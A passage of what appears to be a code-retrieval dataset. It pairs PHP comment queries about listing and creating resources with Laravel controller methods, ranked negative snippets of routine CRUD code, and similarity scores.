remove($id);", "public function deleted(Storage $storage)\n {\n //\n }", "public function destroy($id)\n {\n $data = Product::findOrFail($id);\n\n if(file_exists('uploads/product/'.$data->image1)){\n unlink('uploads/product/'.$data->image1);\n }\n\n if(file_exists('uploads/product/'.$data->image2)){\n unlink('uploads/product/'.$data->image2);\n }\n\n if(file_exists('uploads/product/'.$data->image3)){\n unlink('uploads/product/'.$data->image3);\n }\n $data->delete();\n }", "public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }", "public function resources_delete($resource_id, Request $request) {\n if ($resource_id) {\n $resp = Resources::where('id', '=', $resource_id)->delete();\n if($resp){\n $msg = 'Resource has been deleted successfully.';\n $request->session()->flash('message', $msg);\n }\n }\n //return redirect()->route('admin-factor-list');\n return redirect()->to($_SERVER['HTTP_REFERER']);\n }", "public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }", "function deleteResource($uuid){\n $data = callAPI(\"DELETE\",\"/urest/v1/resource/\".$uuid);\n return $data;\n}", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function remove_resource($idproject){\n\t\t\n\t\t// Load model and try to get project data\n\t\t$this->load->model('Projects_model', 'projects');\n\t\t\n\t\t// Update\n\t\t$this->projects->save_project(array(\"ext\" => \"\", \"vzaar_idvideo\" => \"0\", \"vzaar_processed\" => \"0\"), $idproject);\n\t}", "public function destroy($id){\n $file_data = Slider::findOrFail($id);\n File::delete(public_path('../storage/app/public/sliders/'.$file_data->path));\n $slider = Slider::destroy($id);\n return response()->json(null, 204);\n }", "public function delete()\n\t{\n\t\t@unlink($this->get_filepath());\n\t\t@unlink($this->get_filepath(true));\n\t\tparent::delete();\n\t}", "public function delete($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'DELETE');\n }", "public function destroy($id)\n {\n //Find Slider With Id\n $slider = Slider::findOrFail($id);\n // Check If The Image Exist\n if(file_exists('uploads/slider/'.$slider->image)){\n\n unlink( 'uploads/slider/'.$slider->image);\n }\n $slider->delete();\n return redirect()->back()->with('success','Slider Successfully Deleted');\n }" ]
[ "0.6672584", "0.6659381", "0.6635911", "0.6632799", "0.6626075", "0.65424126", "0.65416265", "0.64648265", "0.62882507", "0.6175931", "0.6129922", "0.60893893", "0.6054415", "0.60428125", "0.60064924", "0.59337646", "0.5930772", "0.59199584", "0.5919811", "0.5904504", "0.5897263", "0.58962846", "0.58951396", "0.58951396", "0.58951396", "0.58951396", "0.5880124", "0.58690923", "0.5863659", "0.5809161", "0.57735413", "0.5760811", "0.5753559", "0.57492644", "0.5741712", "0.57334286", "0.5726379", "0.57144034", "0.57096", "0.5707689", "0.5705895", "0.5705634", "0.5703902", "0.5696585", "0.5684331", "0.5684331", "0.56780374", "0.5677111", "0.5657287", "0.5648262", "0.5648085", "0.5648012", "0.5640759", "0.5637738", "0.5629985", "0.5619264", "0.56167465", "0.5606877", "0.56021434", "0.5601949", "0.55992156", "0.5598557", "0.55897516", "0.5581397", "0.5566926", "0.5566796", "0.55642897", "0.55641", "0.5556583", "0.5556536", "0.5550097", "0.5543172", "0.55422723", "0.5540013", "0.5540013", "0.55371785", "0.55365825", "0.55300397", "0.552969", "0.55275744", "0.55272335", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.5525997", "0.5525624", "0.5523911", "0.5521122", "0.5517412" ]
0.0
-1
Display a listing of the resource.
public function index() { $categories = Category::/*select('id', 'root', 'name','slug')->*/where('root', 0)->get(); return view('backend.category.manage', compact('categories')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "public function listing();", "function index() {\n\t\t$this->show_list();\n\t}", "public function actionList() {\n $this->_getList();\n }", "public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }", "public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }", "public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }", "function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}", "public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }", "public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }", "public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}", "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }", "public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}", "public function actionRestList() {\n\t $this->doRestList();\n\t}", "public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}", "public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }", "public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }", "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}", "public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}", "public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }", "public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }", "public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }", "public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}", "public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }", "public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}", "public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }", "public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }", "public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = \"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }", "public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}", "public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }", "public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }", "public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }", "public function index()\n {\n return Resources::collection(Checking::paginate());\n }", "public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }", "public function index()\n {\n $cars = Car::paginate(15);\n return CarResource::collection($cars);\n }", "public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }", "public function index()\n {\n $authors = Author::paginate(10);\n\n return AuthorResource::collection($authors);\n }", "public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }", "public function view(){\n\t\t$this->buildListing();\n\t}", "public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }", "public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }", "public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }", "public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }", "public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }", "public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }", "public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }", "public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }", "public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }", "public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}", "public function listAction() {}", "public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }", "public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }", "public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }", "public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }", "public function executeList()\n {\n $this->setTemplate('list');\n }", "public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }", "function listing() {\r\n\r\n }", "public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }", "public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }", "public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}", "public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }", "public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }", "public function _index(){\n\t $this->_list();\n\t}", "public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}", "function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}", "public function index()\n {\n $this->booklist();\n }", "public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return accountResource::collection($accounts);\n\n\n }", "public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }", "public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }", "public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }", "public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }", "public function indexAction() {\n $this->_forward('list');\n }", "public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }", "public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }", "public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}", "public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }", "public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }", "public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }", "public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }", "public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }", "public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}", "public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }", "public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }", "public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }", "public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}", "public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }", "public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }", "public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }", "public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }", "public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }", "public function index()\n {\n return view('admin.resources.index');\n }", "public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}" ]
[ "0.7446777", "0.736227", "0.73005503", "0.72478926", "0.71631265", "0.71489686", "0.7131636", "0.7105969", "0.71029514", "0.7101372", "0.70508176", "0.6995128", "0.69890636", "0.6934895", "0.6900203", "0.6899281", "0.6891734", "0.6887235", "0.68670005", "0.6849741", "0.6830523", "0.6802689", "0.6797", "0.67957735", "0.67871135", "0.6760129", "0.67427456", "0.6730486", "0.67272323", "0.67255723", "0.67255723", "0.67255723", "0.67177945", "0.6707866", "0.6706713", "0.6704375", "0.6664782", "0.6662871", "0.6660302", "0.6659404", "0.6656656", "0.6653517", "0.6647965", "0.6620322", "0.66185474", "0.6618499", "0.6606105", "0.6600617", "0.65996987", "0.6594775", "0.6587389", "0.6585109", "0.6581641", "0.6581017", "0.6577157", "0.65747666", "0.6572513", "0.65721947", "0.6570553", "0.65646994", "0.6563556", "0.6554194", "0.65529937", "0.65460825", "0.65368485", "0.653429", "0.65328294", "0.6526759", "0.6526695", "0.6526284", "0.65191334", "0.65183175", "0.65174305", "0.651703", "0.65141153", "0.6507088", "0.65061647", "0.6504046", "0.64942145", "0.6491893", "0.64883405", "0.6486392", "0.6485077", "0.64846045", "0.6478858", "0.64756656", "0.64726377", "0.6471126", "0.64701074", "0.6467418", "0.6462195", "0.64618355", "0.6459199", "0.6457831", "0.6454631", "0.64533997", "0.6451915", "0.6450861", "0.6449301", "0.64492667", "0.64469045" ]
0.0
-1
Show the form for creating a new resource.ss
public function create() { $categories = Category::where('root', 0)->get(); return view('backend.category.create', compact('categories')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function create()\n {\n return \"Display a form for creating a new catalogue\";\n }", "public function create()\n {\n return view('admin.resources.create');\n }", "public function newAction()\n\t{\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => 'Ajouter une nouvelle &eacute;cole'\n\t\t) ) );\n\t}", "public function create(){\n\n return view('resource.create');\n }", "public function newAction()\n {\n $entity = new Resource();\n $current = $this->get('security.context')->getToken()->getUser();\n $entity->setMember($current);\n $form = $this->createCreateForm($entity);\n\n return array(\n 'nav_active'=>'admin_resource',\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }", "public function newAction(){\n \n $entity = new Resourceperson();\n $form = $this->createAddForm($entity);\n\n \n return $this->render('ABCRspBundle:rsp:add.html.twig',array('entity'=>$entity,'form'=> $form->createView()));\n }", "public function create()\n\t{\n\t\treturn $this->showForm('create');\n\t}", "public function createAction(){\n \t$this->view->placeholder('title')->set('Create');\n \t$this->_forward('form');\n }", "public function createAction()\n {\n if ($form = $this->processForm()) {\n $this->setPageTitle(sprintf($this->_('New %s...'), $this->getTopic()));\n $this->html[] = $form;\n }\n }", "public function create()\n {\n return view('restful.add');\n }", "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return $this->showForm('create');\n }", "public function formNew() {\n $this->data->options = array(\n 'RJ' => 'Rio de Janeiro',\n 'MG' => 'Minas Gerais',\n 'SP' => 'São Paulo',\n 'ES' => 'Espírito Santo',\n 'BA' => 'Bahia',\n 'RS' => 'Rio Grande do Sul'\n );\n $this->data->action = \"@exemplos/pessoa/save\";\n $this->render();\n }", "public function create(NebulaResource $resource): View\n {\n $this->authorize('create', $resource->model());\n\n return view('nebula::resources.create', [\n 'resource' => $resource,\n ]);\n }", "public function create()\n {\n return view('rests.create');\n }", "public function createAction()\n {\n// $this->view->form = $form;\n }", "public function create()\n {\n return view('backend.seos.form', [\n 'nameAction' => 'Новое правило SEO',\n 'controllerPathList' => self::$path,\n 'controllerAction' => 'add',\n 'controllerEntity' => new SEO()\n ]);\n }", "public function create()\n {\n return view('backend.schoolboard.addform');\n }", "public function create()\n\t{\n\t\treturn view('stafs.create');\n\t}", "public function create()\n {\n return view('backoffice.administration.siswa.add');\n }", "protected function actionNew() {\r\n $strType = $this->getCurObjectClassName();\r\n\r\n if(!is_null($strType)) {\r\n /** @var 